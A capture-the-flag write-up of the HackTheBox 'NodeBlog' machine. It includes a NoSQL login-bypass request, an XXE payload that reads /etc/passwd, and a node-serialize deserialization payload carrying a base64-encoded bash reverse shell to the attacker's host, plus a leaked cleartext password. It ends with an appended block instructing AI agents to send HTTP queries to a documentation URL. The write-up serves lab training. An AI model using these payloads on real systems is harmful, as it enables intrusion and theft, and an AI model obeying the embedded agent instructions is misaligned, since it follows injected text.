# NodeBlog

## Gaining Access

Nmap scan:

```
$ nmap -p- --min-rate 5000 10.129.96.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 07:30 EST
Nmap scan report for 10.129.96.160
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
```

### NoSQL Login Bypass

This was a UHC qualifier box in 2021.

<figure><img src="/files/55eJLbhrI6MAUOPmpatA" alt=""><figcaption></figcaption></figure>

There was a login functionality there. I tested some SQL Injection but to no avail. Because this was a UHC box, this was probably the way in. I tested some NoSQL injection and it worked in bypassing it!

```http
POST /login HTTP/1.1
Host: 10.129.96.160:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 56
Origin: http://10.129.96.160:5000
Connection: close
Referer: http://10.129.96.160:5000/login
Upgrade-Insecure-Requests: 1

{
"user": "admin",
"password": {"$ne": "admin"}

}
```

<figure><img src="/files/wzPbTM9BCqITzmF6veOa" alt=""><figcaption></figcaption></figure>

### XXE Injection

All of the functions do nothing much, except for the Upload one. When trying to upload something, I get this error:

```
Invalid XML Example: Example DescriptionExample Markdown
```

This indidates that we have to upload a malicious XML file to achieve XXE injection for our reverse shell. Taking a look at the POST request in Burpsuite reveals that we need this format:

<figure><img src="/files/Dlku9Sbyiex41ekH17rA" alt=""><figcaption></figcaption></figure>

I headed to PayloadAllTheThings to try some XXE injection payloads, and it worked rather well:

```markup
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<post>
        <title>mypost</title>
        <description>testfile</description>
        <markdown>&file;</markdown>
</post>
```

Then we can save this into a file and upload it. The output would be printed in the `markdown` area:

<figure><img src="/files/Uolt16HqkEiGqxI8oQ7l" alt=""><figcaption></figcaption></figure>

Earlier while testing my NoSQL injections, I did run across an error like this:

<figure><img src="/files/vBZUDQbcjW476IYMAPzx" alt=""><figcaption></figcaption></figure>

So the source code files are in `/opt/blog`. A bit more testing revealed the main file to be `server.js`.

```javascript
const express = require(&#39;express&#39;)
const mongoose = require(&#39;mongoose&#39;)
const Article = require(&#39;./models/article&#39;)
const articleRouter = require(&#39;./routes/articles&#39;)
const loginRouter = require(&#39;./routes/login&#39;)
const serialize = require(&#39;node-serialize&#39;)
const methodOverride = require(&#39;method-override&#39;)
const fileUpload = require(&#39;express-fileupload&#39;)
const cookieParser = require(&#39;cookie-parser&#39;);
const crypto = require(&#39;crypto&#39;)
const cookie_secret = &#34;UHC-SecretCookie&#34;
//var session = require(&#39;express-session&#39;);
const app = express()

mongoose.connect(&#39;mongodb://localhost/blog&#39;)

app.set(&#39;view engine&#39;, &#39;ejs&#39;)
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride(&#39;_method&#39;))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: &#34;UHC-SecretKey-123&#34;}));

function authenticated(c) {
    if (typeof c == &#39;undefined&#39;)
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash(&#39;md5&#39;).update(cookie_secret + c.user).digest(&#39;hex&#39;)) ){
        return true
    } else {
        return false
    }
}


app.get(&#39;/&#39;, async (req, res) =&gt; {
    const articles = await Article.find().sort({
        createdAt: &#39;desc&#39;
    })
    res.render(&#39;articles/index&#39;, { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})

app.use(&#39;/articles&#39;, articleRouter)
app.use(&#39;/login&#39;, loginRouter)


app.listen(5000)
```

First thing I notice is that **there is unserialisation going on**. This web application must be vulnerable to RCE through Deserialisation. This article showed up when I searched for this exploit:

{% embed url="<https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/>" %}

I tested the token given there and it worked: (after URL encoding)

```
%7B%22rce%22%3A%22_%24%24ND_FUNC%24%24_function%28%29%7Brequire%28%27child_process%27%29.exec%28%27ping%20-c%201%2010.10.14.39%27%2C%20function%28error%2C%20stdout%2C%20stderr%29%7Bconsole.log%28stdout%29%7D%29%3B%7D%28%29%22%7D%0A
```

Now, we can replace the `ping` command I used above with a reverse shell:

```bash
%7B%22rce%22%3A%22_%24%24ND_FUNC%24%24_function%28%29%7Brequire%28%27child_process%27%29.exec%28%27echo%20%5C%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4zOS84ODg4IDA%2BJjEK%5C%22%20%7C%20base64%20-d%20%7C%20bash%27%2C%20function%28error%2C%20stdout%2C%20stderr%29%7Bconsole.log%28stdout%29%7D%29%3B%7D%28%29%22%7D%0A
```

This uses base64 to encode the shell one-liner and connect to port 8888.

<figure><img src="/files/ztc4U9gVvCsqvtw1nZSW" alt=""><figcaption></figcaption></figure>

When trying to read the user flag, I found out that we did not have access to our own home directory. This was because of the permissions set:

```
admin@nodeblog:/home$ ls -la
ls -la
total 16
drwxr-xr-x 1 root  root   10 Dec 27  2021 .
drwxr-xr-x 1 root  root  180 Dec 27  2021 ..
drw-r--r-- 1 admin admin 220 Jan  3  2022 admin
```

We can correct this with `chmod 777 admin`.

## Privilege Escalation

I ran a LinPEAS scan on this machine and found the `mongoDB` credentials file.

```
mongodb      802  0.3  1.8 981772 76124 ?        Ssl  16:38   0:08 /usr/bin/mongod --unixSocketPrefix=/run/mongodb --config /etc/mongodb.conf
```

Earlier we used NoSQL injection to access this, and perhaps we can find the actual credentials for the `admin` user (so that I can check `sudo` privleges). Some DBs and collections can be found here.

<figure><img src="/files/zedon4uABG7IcNjfovqZ" alt=""><figcaption></figcaption></figure>

I could find a password from the users collections.

{% code overflow="wrap" %}

```
>  db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
```

{% endcode %}

We can use this to check `sudo` privileges and find an easy root path:

<figure><img src="/files/BAiTl1k90tFLV7OjxvkR" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/easy/nodeblog.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
